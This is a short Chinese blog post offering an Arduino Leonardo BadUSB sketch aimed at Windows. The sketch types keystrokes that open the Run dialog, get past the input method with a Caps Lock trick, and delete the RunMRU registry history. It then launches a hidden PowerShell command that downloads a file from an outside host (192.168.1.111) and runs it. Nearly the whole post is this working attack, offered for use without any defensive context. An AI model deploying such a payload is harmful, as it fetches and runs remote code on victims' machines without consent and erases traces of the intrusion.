基于 Arduino Leonardo 的 BadUSB 下载文件并运行代码

Arduino Leonardo 的 BadUSB,适合于 Windows 平台,用 PowerShell 命令下载一个文件,并运行它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void setup() {
Keyboard.begin(); // 开始键盘通讯
delay(5000); // 延时
Keyboard.press(KEY_LEFT_GUI); // win键
delay(500);
Keyboard.press('r'); // r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK); // 利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("cmd /c start /min reg delete hkcu\\software\\microsoft\\windows\\currentversion\\explorer\\runmru /f&cmd /c start /min powershell $p = new-object system.net.webclient;$p.downloadfile('http://192.168.1.111/1.jpg', 'd:\\1.jpg');start d:\\1.jpg;exit");
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.press(KEY_RETURN); // 按下回车键
Keyboard.release(KEY_RETURN); // 释放回车键
Keyboard.end(); // 结束键盘通讯
}
本站文章除注明转载外均为原创,未经允许不要转载哇. ヾ(゚ー゚ヾ) http://qwqaq.com/c47492ae.html
分享到